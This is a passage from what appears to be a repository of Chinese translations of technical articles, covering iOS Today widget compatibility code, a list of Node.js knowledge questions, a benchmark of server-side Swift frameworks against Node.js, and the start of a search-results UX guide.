widget](https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?resize=300%2C213&ssl=1%20300w,%20https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?resize=400%2C284&ssl=1%20400w,%20https://i2.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-4.43.07-PM.png?w=611&ssl=1%20611w) iOS 10 的今日控件 让我们从明显的问题开始解决。你可以构造两个不同的界面,分别用于 iOS 10 以下的版本和 iOS 10+ 的版本,或者确认一个单独的界面能够同时兼容深色和亮色背景。最后,我们通过构建一个界面来解决这个问题,但是对于我们视图的元素最终显示亮色还是深色的本文和背景色,这取决于在什么版本的 iOS 上运行。我们也确认了所有图片资源和有色文本在两种背景下都有良好的效果。修改图片的着色(tint color)在这被证明是有效的。 //Swift var image = UIImage(named: "imageName"); image = image?.withRenderingMode(UIImageRenderingMode.alwaysTemplate) let imageView = UIImageView(image: image) imageView.tintColor = UIColor.blue //Objective-C UIImage *image = [UIImage imageNamed:@"imageName"]; image = [image imageWithRenderingMode:UIImageRenderingModeAlwaysTemplate]; UIImageView *imageView = [[UIImageView alloc] initWithImage:image]; imageView.tintColor = [UIColor blueColor]; ### 居中控件 ![Off-center iOS 9 widget](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.19.27-PM.png?resize=300%2C293&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.19.27-PM.png?w=378&ssl=1%20378w) 这有一个不怎么明显的问题 - iOS 9 的今日控件有轻微的居中偏移。如果你注意上图,你可以看到上面的 `UITableView` 并不是水平居中于他的空间。如果你想要为 iOS 9 的今日控件做细微的调整,我建议设置边距(margin),允许你能够使用全部被分配的空间宽度,这与 iOS 10 上的默认保持一致。 //Swift func widgetMarginInsets(forProposedMarginInsets defaultMarginInsets: UIEdgeInsets) -> UIEdgeInsets { return UIEdgeInsetsMake(0,0,0,0); } //Objective-C - (UIEdgeInsets)widgetMarginInsetsForProposedMarginInsets:(UIEdgeInsets)defaultMarginInsets { //centers widget for iOS 9 return UIEdgeInsetsMake(0,0,0,0); } 注意:`widgetMarginInsetsForProposedMarginInsets` 是技术弃用的并且在 iOS 10 及以上的版本不会被调用。 ### 在扩展模式中功能失效 ![Compact mode](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?resize=300%2C120&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?resize=400%2C160&ssl=1%20400w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.42-PM.png?w=611&ssl=1%20611w) 紧密模式 ![Expanded Mode](https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?resize=300%2C158&ssl=1%20300w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?resize=400%2C210&ssl=1%20400w,%20https://i0.wp.com/kristina.io/wp-content/uploads/2016/10/Screen-Shot-2016-10-16-at-5.31.32-PM.png?w=612&ssl=1%20612w) 扩展模式 iOS 10 增加了一个可选的扩展模式,这可以用来增加额外的功能和控件的使用面积。这是超级有用的,比如高级用户功能或是在用户有一些不想一直显示在主屏幕的东西(例如私人或财产信息)的情况下。你可以在 ViewDidLoad 中通过一行代码开启扩展模式: //Swift self.extensionContext?.widgetLargestAvailableDisplayMode = NCWidgetDisplayMode.expanded //Objective-C self.extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayModeExpanded; 然而,在 iOS 9 上这基本会破坏你的扩展,所以你实际上需要封装一下来确保仅在支持扩展模式时被设置。 //Swift let extensionContext = NSExtensionContext() if #available(iOS 10.0, *) { extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayMode.expanded } //Objective-C if ([self.extensionContext respondsToSelector:@selector(setWidgetLargestAvailableDisplayMode:)]) { self.extensionContext.widgetLargestAvailableDisplayMode = NCWidgetDisplayModeExpanded; } 在扩展模式下你还需要考虑一个问题,那就是如果你不合理地设置控件的高度,任何仅在扩展模式(超过 110 px)下显示的东西将会在 iOS 9 及以下的版本被切掉。为了解决这个问题,你需要确认你设置了控件的 preferredContentSize 高度来让它保留那些超过 110 px 的内容。谢谢 Greg Gardner 指出这点! ================================================ FILE: TODO/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself.md ================================================ > * 原文地址:[Before you bury yourself in packages, learn the Node.js runtime itself](https://medium.freecodecamp.com/before-you-bury-yourself-in-packages-learn-the-node-js-runtime-itself-f9031fbd8b69#.91p6p8nkz) > * 原文作者:该文章已获得作者 [Samer Buna](https://medium.freecodecamp.com/@samerbuna) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[fghpdf](https://github.com/fghpdf) > * 校对者:[rccoder](https://github.com/rccoder),[reid3290](https://github.com/reid3290) # 在你沉迷于包的海洋之前,还是了解一下运行时 Node.js 的本身 ![](https://cdn-images-1.medium.com/max/2000/1*LSfLSMQ1kPuHnyCPLNEKgQ.png) 这篇文章将挑战你 Node.js 的知识极限。 我在 Ryan Dahl 第一次 [介绍](https://www.youtube.com/watch?v=ztspvPYybIY) Node.js 之后不久就开始学习它,甚至一年前我也不能回答我在这篇文章中提出的许多问题。 如果你能真正地回答所有的问题,那么你的 Node.js 的知识储备是迥乎常人的。 我们应该成为朋友。 我发起这个挑战的原因可能会让你大吃一惊,我们中的许多人一直采用着错误的方式来学习 Node。大多数关于 Node 的教程,书籍和课程都关注于 Node 生态,而不是 Node 本身。 他们专注于教你使用的所有的 Node 包,例如 Express 和 Socket.IO,而不是教会你使用 Node 本身的功能。 这样做也有很好的理由。Node 是原生的和灵活的。它不提供完整的解决方案,而是提供一个丰富的,你自己能够实现的解决方案。像 Express.js 和Socket.IO 这样的库则是更完整的解决方案,因此教这些库是更有意义的,这样可以让学习者使用这些完整的解决方案。 传统的观念似乎觉得只有那些编写类库如 Express.js 和 Socket.IO 的人需要了解 Node.js 运行时的一切。但我认为这样的观点是错误的。深入理解 Node.js 本身是使用这些完整的解决方案之前最好的做法。你至少应该有足够的知识和信心来通过一个包的代码来判断你是否应该学习使用它。 这就是为什么我决定开一个完完全全专攻于 Node 本身的 [Pluralsight 课程](https://www.pluralsight.com/courses/nodejs-advanced)。在备课时,我会列出一些具体问题来确定你对 Node 本身的了解是否已经足够深入,还是需要改进。 如果你能回答这些问题并且正在找工作,请联系我!反过来说,如果大多数这些问题使你感到茫然,你则需要优先学习 Node 本身了。你所学的知识将使你成为一个更加理想的开发人员。 ### Node.js 知识挑战: 其中一些问题简短而容易,而另一些则需要更长的答案和更深入的知识。它们的排名不分先后。 我知道你会在阅读这个列表后想要它们的答案。下面的建议部分有一些答案,但我也将在这篇的 freeCodeCamp 文章之后回答所有这些问题。 但让我试试你的底! 1. Node.js 和 V8 之间的关系是什么?可以在没有 V8 的情况下运行 Node 吗? 2. 当你在任何一个 Node.js 文件中声明一个全局变量时,它对于所有模块都是真的全局吗? 3. 当暴露一个 Node 模块的 API 时, 为什么我们有时候用 `exports` 有时候用 `module.exports`? 4. 我们可以依赖不使用相对路径的本地文件吗? 5. 可以在同一个应用中使用相同包的不同版本吗? 6. 什么是事件循环?它是 V8 的一部分吗? 7. 什么是调用栈?它是 V8 的一部分吗? 8. `setImmediate` 和 `process.nextTick` 的区别在哪里? 9. 如何使异步函数返回值? 10. 回调可以与 promise 一起使用吗?他们还是同一种方式还是两种不同的方式? 11. 什么 Node 模块由许多其他 Node 模块实现? 12. `spawn`、 `exec` 和 `fork` 的主要区别是什么? 13. 集群模块如何工作?它与使用负载均衡有何不同? 14. `--harmony-*` 标志是什么? 15. 如何读取和检查 Node.js 进程的内存使用情况? 16. 当调用栈和事件循环队列都为空时,Node 将做什么? 17. 什么是 V8 对象和函数模板? 18. 什么是libuv, Node.js 如何使用它? 19. 如何使 Node 的 REPL 总是使用 JavaScript 严格模式? 20. 什么是 `process.argv`? 它拥有什么类型的数据? 21. 在 Node 进程结束之前,我们该如何做最后一个操作?该操作可以异步完成吗? 22. 你可以在 Node REPL 中使用哪些内置命令? 23. 除了 V8 和 libuv,Node 还有什么其他外部依赖? 24. 进程 `uncaughtException` 事件的问题是什么? 它和 `exit` 事件的区别是什么? 25. 在 Node’s REPL 中 `_` 意味着什么? 26. Node buffer 使用V8内存吗?可以调整他们的大小吗? 27. `Buffer.alloc` 和 `Buffer.allocUnsafe` 的区别是什么? 28. `slice` 在 buffer 上与在 array 上有什么不同? 29. `string_decoder` 模块有什么用? 它和 buffer 转字符串有何不同? 30. require 函数需要执行的 5 个主要步骤是什么? 31. 如何检查本地模块是否存在? 32. `package.json` 的 `main` 属性有什么用? 33. 什么是 Node 中的模块循环依赖,如何避免? 34. require 函数自动尝试的 3 个文件扩展名是什么? 35. 当创建一个 HTTP 服务并对请求作出响应时, 为什么 `end()` 函数是必须的? 36. 什么情况下适合使用文件系统的 `*Sync` 方法? 37. 如何只打印深层嵌套对象的一个级别? 38. `node-gyp` 包有什么用? 39. 对象 `exports`、 `require` 和 `module` 在所有模块中都是全局的但在每一个模块中它们都不相同. 这是怎么做到的? 40. 如果你执行一个只有 `console.log(arguments);` 的 Node 脚本文件 , 实际 Node 会输出什么? 41. 如何做到一个模块可以同时被其他模块使用,并且可以通过 `node` 命令执行? 42. 举一个可读写的内置流的例子。 43. 当在 Node 脚本中执行 cluster.fork() 时会发生什么? 44. 使用事件发射器和使用简单的回调函数来允许异步处理代码有什么区别? 45. `console.time` 函数有什么用? 46. 可读流的“已暂停”和“流动”模式之间有什么区别? 47. `--inspect` 参数对于 node 命令有什么用? 48. 如何从已连接的套接字中读取数据? 49. `require` 函数总是缓存它依赖的模块. 如果需要多次执行所需模块中的代码,你可以做什么? 50. 使用流时,你何时使用管道功能以及何时使用事件? 这两种方法可以组合吗? ### 我采取了最好的方式来学习 Node.js 学习 Node.js 可能很具有挑战性。以下的一些指南希望能在这个旅程中帮到你: #### 学习 JavaScript 的好的部分并学习它的现代语法( ES2015 及更高版本) Node 是一个基于 VM 引擎的可以编译 JavaScript 的库,所以不言而喻,JavaScript 本身的重要功能是 Node 的重要功能的一个子集。故你应该从 JavaScript 本身开始学习之旅。 你理解函数、[作用域](https://edgecoders.com/function-scopes-and-block-scopes-in-javascript-25bbd7f293d7#.2h7c9bt6l)、绑定这个关键字以及新的关键字,[闭包](https://medium.freecodecamp.com/whats-a-javascript-closure-in-plain-english-please-6a1fc1d2ff1c#.fs8bxulzo)、类、模块模式、原型、回调和 promise 吗?你知道可以在 Number、String、Array、Set、Object 和 map 上使用的各种方法吗?适应这个列表上的项目,将使得学习 Node API 更容易。例如,在你很好地理解回调之前,试图学习 'fs' 模块方法可能会导致不必要的混乱。 #### 了解 Node 的非阻塞性质 回调和 promise(以及 generators/async 模式)对于 Node 特别重要。异步操作是你在 Node 中的第一课。 你可以将一个 Node 程序中的几行代码的非阻塞性质你订购星巴克咖啡的方式(在商店中,而不是得来速)相比较: 1. 下订单 | 给 Node 一些执行指令(一个函数) 2. 自定义你的订单,例如没有生奶油 | 给函数一些参数:`({whippedCream: false})` 3. 在你的订单上告诉星巴克员工你的命令 | 通过回调告诉 Node 执行你的函数: `({whippedCream: false}, callback)` 4. 然后靠边站,星巴克的员工会从排在你后面的人接到订单 | Node 将从你的后面的代码接收指令。 5. 当你要的咖啡准备好了,星巴克员工会叫你的名字,并给咖啡 | 当你的函数计算结束 Node.js 就会根据计算结果执行回调:`callback(result)` 我写了一篇博客文章来描述这个过程:[在星巴克参悟异步编程](https://edgecoders.com/asynchronous-programming-as-seen-at-starbucks-fc242cf16aa#.mx2cxr3hi) ### 了解 JavaScript 并发模型及其如何基于事件循环而运作 栈,堆和队列。如果你阅读了有关这个主题的书却仍然不完全理解,可以看看 [这个家伙](https://www.youtube.com/watch?v=8aGhZQkoFbQ),我保证你就懂了。 [![](https://i.ytimg.com/vi/8aGhZQkoFbQ/maxresdefault.jpg)](https://www.youtube.com/embed/8aGhZQkoFbQ?wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.freecodecamp.com%2Fmedia%2Fa661a28c8cc4ab11cdfc9f9487ebd139%3FpostId%3Df9031fbd8b69&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1) Philip 解释了在浏览器中的事件循环,但在 Node.js 中其实是几乎完全相同的事情(尽管有一些差异)。 #### 了解一个 Node 进程如何不进如入 sleep 状态,并且当没有什么要做的时候就会结束进程 Node 进程可以空闲,但它从不进入 sleep 状态。它跟踪所有正在等待执行的回调,如果没有可以执行的回调它将直接结束进。为了保持 Node 进程持续运行,你可以使用一个 `setInterval` 函数,因为这将在事件循环中创建一个永久处于挂起状态的回调。 #### 学习可以使用的全局变量,如 process、module 和 Buffer 它们都定义在一个全局变量里(通常与浏览器中的 `window` 变量相比较)。在 Node 的 REPL 中,键入 `global`。并点击选项卡以查看所有可用的项目(或在空行上的简单双击标签)。其中一些项目是 JavaScript 结构(如 `Array` 和 `Object`)。其中一些是 Node 库函数(如 `setTimeout` 或 `console` 输出到 `stdout` / `stderr`),其中一些是 Node 全局对象,你可以将其用于处理某些任务(例如,`process.env` 可用于读取主机的环境变量)。 ![](https://cdn-images-1.medium.com/max/2000/1*6ejru9JVwgJ9iGxBYpysJw.png) 你在表中看到大部分内容的都应该理解。 #### 了解你可以使用 Node 附带的内置库做什么,以及它们如何专注于“网络” 其中一些人会觉得熟悉,比如 *Timers*,因为他们也存在于浏览器和 Node 模拟的环境中。但是,还有更多要学习的,如 `fs`、`path`、`readline`、`http`、`net`、`stream`、`cluster`、……(上面的列表已经包含它们)。 例如,你可以使用 `fs` 读、写文件,可以使用 “`http`” 运行流式 Web 服务器,并且可以运行 tcp 服务器和使用 “`net`” 编程套接字。今天的 Node 比一年前的功能要强大得多,而且它通过社区的代码提交越来越好。在为你的任务寻找可用的包之前,请确保你无法首先使用 Node 内置的程序包完成该任务。 `event` 库特别重要,因为大多数 Node 架构都是事件驱动的。 [在这里你可以总是更多地了解 Node API](https://nodejs.org/api/all.html), 所以请继续扩展你的视野吧. #### 理解 Node 为什么要叫 Node 你构建简单的单进程构建块(节点),可以使用良好的网络协议组织它们,以使它们彼此通信并扩展以构建大型分布式程序。简化成 Node 应用不是在此之后——它的名字就是从这里产生的。 #### 阅读并尝试理解为 Node 编写的一些代码 选择一个框架,如 Express,并尝试理解它的一些代码。告诉我你不懂的地方。当条件允许我会试着在 [slack 频道](https://slackin-bfcnswvsih.now.sh/)回答问题。 最后,用 Node 编写一个 Web 应用,而且不使用任何框架。尝试处理尽可能多的情况,使用 HTML 文件,解析查询字符串,接受表单输入,并创建一个以 JSON 响应的终端。 还可以尝试编写聊天服务器,发布 npm 包,并为开源的基于 Node 的项目做出贡献。 祝君码运昌隆! ================================================ FILE: TODO/benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js.md ================================================ > * 原文地址:[Benchmarks for the Top Server-Side Swift Frameworks vs. Node.js](https://medium.com/@rymcol/benchmarks-for-the-top-server-side-swift-frameworks-vs-node-js-24460cfe0beb) * 原文作者:[Ryan Collins](https://medium.com/@rymcol) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Tuccuay](https://github.com/Tuccuay) * 校对者:[鳗鱼鱼](https://github.com/cyseria), [Nicolas(Yifei) Li](https://github.com/yifili09) # 顶级 Swift 服务端框架对决 Node.js ### 前言 最近我在做服务端 Swift 工作时,我被问到这样的问题: > 「在服务端 Swift 能否击败 Node.js?」 Swift 是一个可以被用来做包括服务端在内的任何事情,从他第一次开源并且移植到 Linux 上就一直很引人入胜。你们肯定有很多人像我一样好奇,所以我非常乐意来分享我的学习成果。 #### 最受欢迎的服务端 Swift 框架 在写这篇文章的时候,按照 Github 上获得 star 的数量顺序排列最受欢迎的服务端 Swift 框架如下: * [Perfect](https://github.com/perfectlySoft/Perfect) ⭐️7,956 * [Vapor](https://github.com/vapor/Vapor) ⭐️5,183 * [Kitura](https://github.com/ibm-swift/kitura) ⭐️4,017 * [Zewo](https://github.com/zewo/Zewo) ⭐️1,186 #### 本文组织形式 本文将以以下方式呈现: * 这份快速指引 * 结果摘要 * 方法学 * 详细的结果 * 结论和说明 ### 结果摘要 以下是主要测试的结果摘要,我想说的是: > **无论各项得分怎样,这些框架内所有的表现都非常棒** ![这张图片在 2016 年 9 月 1 日更新](https://cdn-images-1.medium.com/max/2000/1*-J6071Zqsic7zY521MXUHg.png) ### 方法学笔记 #### 为什么使用博客和 JSON? 搭博客比打印 "Hello, World!" 到屏幕上有常见的用途,JSON 也是一种很常见的用例。良好的基准测试需要考虑每个框架在相似负载下的表现,它需要比简单的打印两个单词到屏幕上承载更多的压力。 #### 保持做相同的事情 在每一个主题测试项目中我都会尽量保证博客尽可能相似,同时贴合每个框架的语法风格来完成。为了在许多数据结构中一字不差的使用不同框架生成相同的内容,让每个框架都使用相同的数据模型工作,但是有些方面例如 URL 路由等方式会有很大的差别来适应每个不同框架中的语法和风格。 #### 一些微小的差别 在不同的 Swift 服务端框架直接有一些微小的差别需要注意。 * 在 Kitura 和 Zewo 中,如果绝对路径中存在空格都会在构建时引发一些问题,在 Xcode 中构建任何框架也存在相同的问题。 * Zewo 使用 05-09-a 的 Swift 快照版本,这意味着他在 release 模式下的构建存在一些问题,所以他运行在 debug 模式下。因为这个问题存在所以所有关于 Zewo 的测试都运行在 debug 模式下(这将不包含 release 优化)。 * 静态文件的处理是一个众多服务端 Swift 框架争议的焦点。Vapor 和 Zewo 都建议使用 Nginx 来作为静态文件的代理,然后使用框架来作为后端使用。Perfect 的建议是使用其内置的处理程序,但我并没有有看见 IBM 对此相关的任何评论。由于这项研究不是为了探讨框架如何连接 Nginx 这样的服务器应用,所以静态文件都使用了每个框架本身来处理。你或许可以为了性能考虑而在选择 Vapor 和 Zewo 的时候考虑这个问题,这也是为什么我考虑包含 JSON 测试的一个原因。 * [在 9 月 1 日更新的结果] Zewo 是一个单线程应用程序,你可以通过在每一个 CPU 上都运行一个实例来获得额外的性能提升,因为他们是并发运行而不是在多线程模式下工作。在本研究中,每个应用程序只会有一个实例运行。 * 工具链 (Toolchains),每个框架都从 Apple 释出的工具链中选择了不同的快照版本,在本文发布时测试的版本如下: - DEVELOPMENT-SNAPSHOT-2016-08–24-a for Perfect - DEVELOPMENT-SNAPSHOT-2016-07–25-a for Vapor & Kitura - DEVELOPMENT-SNAPSHOT-2016-05–09-a for Zewo * Vapor 运行 release 特殊语法。如果你只是简单的去执行二进制包,你将会在控制台中获得一些可以帮助开发和调试过程的日志记录。这将会带来一些额外的性能开销,为了让 Vapor 运行在 release 模式下你需要添加 `--env=production` 来运行,例如: ```bash .build/release/App --env=production ``` * [在 9 月 1 日更新的结果] 当使用 Zewo 的时候,即使你不能在 05-09-a 工具链上使用 release 模式,你依然可以通过添加以下代码来进行 release 优化: ```bash swift build -Xswiftc -O ``` * Node.js / Express 没有构建编译,因为他没有 debug 和 release 的区别。 * 静态文件处理包括了 Vapor 的默认中间件。如果你没有使用静态文件并且想要优化速度(译注:原作者的意思是如果没有用到它来处理静态文件,那么用这个方法来忽略掉 Vapor 默认的中间件以提高速度。),你必须包含如下代码(就像我在 VaporJSON 中所做的一样): ```bash drop.middleware = [] ``` #### 为什么使用 Node.js / Express? 我决定使用 Node.js 的 Express 来作为一个对照包含在测试中。因为他和 Swift 服务端框架具有非常相似的语法并且被广泛应用。他有助于建立一个基线来展示 Swift 能够多么的让人印象深刻。 #### 开发博客 在某些时候开始,我称之为「追逐弹球」。目前 Swift 服务端框架处于非常活跃的开发状态,因为 Swift 3 的每一个预览版相对于上一个都有成堆的改动。所以 Apple 的 Swift 团队导致所有的服务端 Swift 框架需要频繁的发布新版本。他们没有拥有完善的文档,所以我非常感谢框架的小组成员和广大 Swift 服务端框架社区。我也要对无数的社区成员和框架团队在我前进道路上给予的帮助表示感谢。这有很多的乐趣,我很乐意这样做。 一个额外声明,即使不需要许可说明,我也认为这个需要声明一下:所有包含在源码中的资源都来自 [Pixbay](https://pixabay.com/) 的无版权图片,这对于制作一个示例程序很有帮助。 #### 环境和变量 为了尽量消除不同环境带来的影响,我使用了一个 2012 款的 Mac mini 并且重新安装了 El Capitan (10.11.6),然后下载了 Xcode 8 beta 6,并且设置 command-line-tools 为 Xcode 8。然后使用 swiftenv 安装了必要的快照版本,克隆仓库并且在 release 模式下清洁的编译每一个博客,并且不会同时进行两个测试。测试服务器的规格是这样的: ![](https://cdn-images-1.medium.com/max/1600/1*vH5SdlsoPeIBYsy2mU-lkw.png) 而在开发中我使用的是 2015 款的 rMBP。我在这里进行了构建测试,因为它是我现实生活中的开发设备所以更有意义。我用 wrk 来获得评分,并且我使用 Thunderbolt 2 线缆来连接两台设备,因为 Thunderbold 桥接能拥有一个令人难以置信的带宽使得你的路由器不会成为限制条件,他能更可靠的在博客单独运行在一台机器上的时候用另一个独立的机器去生成负载以压倒性的测试服务器。这提供了一个一致的测试环境,所以我可以说每个博客都是在相同的硬件和条件下运行,为了满足一些好奇心,我开发设备的规格是: ![](https://cdn-images-1.medium.com/max/1600/1*7QYZK-_cmb7231lnchJpuQ.png) #### 测试基准 在测试中,我决定使用 4 个线程各生成 20 个连接并持续 10 分钟。4 秒钟不能称之为测试,而 10 分钟是一个合理的时间,因为能获得大量的数据并且 4 个线程运行 20 个连接会对博客造成沉重的负担而不至于断开链接。 #### 源代码 如果你想探索这个项目的源代码或者做任何自己的测试,我把这些测试代码都整合到了一个仓库中,你可以在这里找到: [https://github.com/rymcol/Server-Side-Swift-Benchmarking](https://github.com/rymcol/Server-Side-Swift-Benchmarking) ### 详细结果 #### 构建时间 我认为可能需要先看一眼构建时间。构建时间在日复一日的开发中占据了很大一部分开发时间,并且他也能算作是框架的性能表现,我觉得我在探索的是真实的数字和持续时间的感觉。 #### 如何运行 对于每一个框架, ```bash swift build --clean=dist ``` 然后 ```bash time swift build ``` 运行完之后,进行第二次测试 ```bash swift build --clean ``` 最后 ```bash time swift build ``` 这两次构建都使用了 SPM(Swift Package Manager, Swift 包管理器) 来管理依赖关系,包括常规的、清洁的依赖都已经下载好了。 #### 怎么运行的 这运行在我本地的 2015 款 rMBP 上并且构建在 debug 模式,因为在使用 Swift 开发应用时这是正常的过程。 #### 构建时间结果 ![](https://cdn-images-1.medium.com/max/1600/1*lhhh_8CgevyvpgfnGnVxXA.png) ![](https://cdn-images-1.medium.com/max/1600/1*wAWMcltJR7B9FP-x2NhzDQ.png) * * * #### 内存使用 我第二在意的就是在框架运行时候内存的占用量。 #### 如何运行 第一步 开始内存占用(单纯的启动进程) 第二步 测试我服务器上峰值内存占用 ```bash wrk -d 1m -t 4 -c 10 ``` 第三步 用下面的方法第二次测试内存占用 ```bash wrk -d 1m -t 8 -c 100 ``` #### 怎么运行的 这个测试在一个干净的 Mac mini 专用测试服务器上运行。反映了每个框架在 release 模式可能存在的状况。同一时间只有一个框架在命令行中运行并且会在下一次测试前重启。在测试期间唯一打开的窗口是活动监视器,我用它来可视化内存占用。在每个框架运行的时候,我只是简单的指出峰值出现在活动监视器中的时候。 #### 内存占用结果 ![](https://cdn-images-1.medium.com/max/1600/1*8cG8cHnkdhTzVM9Aj0QV9Q.png) ![](https://cdn-images-1.medium.com/max/1600/1*WhQcrT9d5OJI_J9n_XvZOA.png) ![](https://cdn-images-1.medium.com/max/1600/1*NY3syLPSPdGN25-3G7EC1g.png) * * * #### 线程使用 我第三看重的事情是每个框架在负载下的线程使用情况 #### 如何运行 第一步 开始内存占用(单纯的启动进程) 第二部 在我的测试服务器上用下面的命令来产生线程使用: ```bash wrk -d 1m -t 4 -c 10 ``` #### 怎么运行的 这是一个用干净的 Mac mini 来搭建的专用测试服务器,每个框架都尽可能的在 release 模式下执行的。同一时间只有一个框架在命令行中运行并且会在下一次测试前重启。在测试期间唯一打开的窗口是活动监视器,我用它来可视化内存占用。在每个框架运行的时候,我只是简单的指出峰值出现在活动监视器中的时候。 #### 对于这些结果的说明 这里没有「胜出」这一类。许多不同的应用程度对于线程的管理方式不同,并且这些框架也不例外。例如 Zewo 就是一个单线程应用程序,他永远不会使用大于一个线程(如果你没有主动在每一个 CPU 上运行的话)。而 Perfect 则会使用每一个可用的 CPU,Vapor 则是为每个线程模型使用一个 CPU。因此该图的目的是使线程负载峰值更容易看到。 #### 线程使用结果 ![](https://cdn-images-1.medium.com/max/1600/1*aLuf-9gs4Xd4ZtnwgNNgcA.png) ![](https://cdn-images-1.medium.com/max/1600/1*QwPMAL7EEOm9L8cIEelT3w.png) * * * #### 博客测试 第一个基准测试是处理 `/blog` 的路由,这是一个为每个请求返回 5 个随机图片的假博客文章接口。 #### 如何运行 ```bash wrk -d 10m -t 4 -c 20 http://169.254.237.101:(PORT)/blog ``` 从我的 rMBP 上用 Thunderbolt 桥接运行每个博客。 #### 怎么运行的 在内存测试中,每个框架都在 release 模式运行,每次测试之前都会被重新启动。同一时间只有一个框架会被运行在服务器上。所有的活动都保持在最小的改变以保证环境尽可能相似。 #### 结果 ![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*T4iNJjI2pCUt1n-tZnWSnw.png) ![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*ddAC0BWrOBpvST0QQfpN7Q.png) * * * #### JSON 测试 由于每个人对于静态文件的处理方法都各有风格,所以看上去更加公平的方式是使用简单的接口来进行相同的测试,所以我增加了 `/json` 路由来测试每个应用从沙盒内返回 0~1000 之间的随机数。这个测试是单独进行的,以保证静态文件处理程序和中间件不会影响到接结果。 #### 如何运行 ```bash wrk -d 10m -t 4 -c 20 http://169.254.237.101:(PORT)/json ``` 对每个 JSON 项目都运行 #### 怎么运行的 在其他测试中,每个框架都在 release 模式运行,每次测试之前都会被重新启动。同一时间只有一个框架会被运行在服务器上。所有的活动都保持在最小的改变以保证环境尽可能相似。 #### Results ![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*sb8WpWPKtUAO4hTTKr46Tg.png) ![这张图片在 2016 年 9 月 1 日得到更新](https://cdn-images-1.medium.com/max/1600/1*NFq7qLFZaGpStZlyEdjfmA.png) ### 结论 我的问题得到的回答是压倒性的 **是**。Swift 能做的不仅能作为服务端框架使用,并且所有的 Swift 服务端框架性能都表现得令人难以置信的好,而 Node.js 在每个测试中都排在最后两名。 由于服务端 Swift 框架可以和其它 Swift 应用共享基本代码库,所以它可以为你节省大量的时间。而从这里的结果可以看出,服务端 Swift 框架在编程领域是非常强有力的竞争者。我个人会在编程中(特别是在服务端)尽可能的使用 Swift。我也迫不及待地想看到社区涌现出更多令人感到惊奇的项目。 ### 参与其中 如果你对服务端 Swift 感兴趣,现在是时候参与其中了!这些框架还有大量的工作需要完成,比如说他们的文档。并且有一些非常炫酷的应用程序作为示例(有开源也有闭源)。你可以在这里了解更多信息: - Perfect: [Website](http://perfect.org/) | [Github](https://github.com/PerfectlySoft/Perfect/) | [Slack](http://perfect.ly/) | [Gitter](https://gitter.im/PerfectlySoft/Perfect?utm_source=rymcol) - Vapor: [Website](http://vapor.codes/) | [Github](https://github.com/vapor/Vapor/) | [Slack](http://vapor.team/) - Kitura: [Website](https://developer.ibm.com/swift/kitura/) | [Github](https://github.com/IBM-Swift/Kitura/) | [Gitter](https://gitter.im/IBM-Swift/Kitura?utm_source=rymcol) - Zewo: [Website](http://www.zewo.io/) | [Github](https://github.com/Zewo/Zewo/) | [Slack](http://slack.zewo.io/) #### 保持联系 如果你有任何问题,可以在 Twitter 上和我取得联系 [@rymcol](http://twitter.ryanmcollins.com/)。 >需要额外说明的信息:这段内容增加于 2016 年 9 月 1 日,为 Zewo 使用 `swift build -c release` 方法构建而优化并修正了一些数据。PerfectlySoft 公司提供的经费为我进行这项研究提供了动力。我同时也在 Github 上 Perfect & Vapor 的团队中,我不是其中任何一个的雇员,我的意见也不代表他们的观点。我尽力保持绝对的公平公正,因为我同时在所有的四个平台上开发,我是真的想看到结果 [用于研究的所有代码都是公开](https://github.com/rymcol/Server-Side-Swift-Benchmarking),你可以随时检查测试方式或者自己重复一些测试。 ================================================ FILE: TODO/best-practices-for-search-results.md ================================================ > * 原文地址:[Best Practices for Search Results](https://uxplanet.org/best-practices-for-search-results-1bbed9d7a311#.8pysknjlm) > * 原文作者:[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[sunui](http://suncafe.cc) > * 校对者:[iloveivyxuan](https://github.com/iloveivyxuan)、[Graning](https://github.com/Graning) # 搜索结果页的最佳实践 # 搜索就像是用户和系统之间的一次对话:用户用一次查询来表达他们需要的信息,而系统用一组结果做为回应。搜索结果页恰恰是整个搜索体验中的一个关键部分:它提供了让用户参与对话的机会,来指导用户的信息需求。 这篇文章中,我愿意分享 10 个最佳实践,来帮助你提升搜索结果页的用户体验。 ### 1. 点击搜索按钮后,不要清除用户的查询内容 ### **保留用户输入的原始文字。** 再次查询是信息检索中关键的一步。如果用户没有找到他们想要的信息,他们可能会把一部分查询内容改为更清晰的关键词再搜索一遍。为了方便用户进行查询,在搜索框中留下初始的关键词,让用户不至于重复输入。 ### 2. 提供准确而且相关的搜索结果 ### **搜索结果的第一页是黄金位置。** 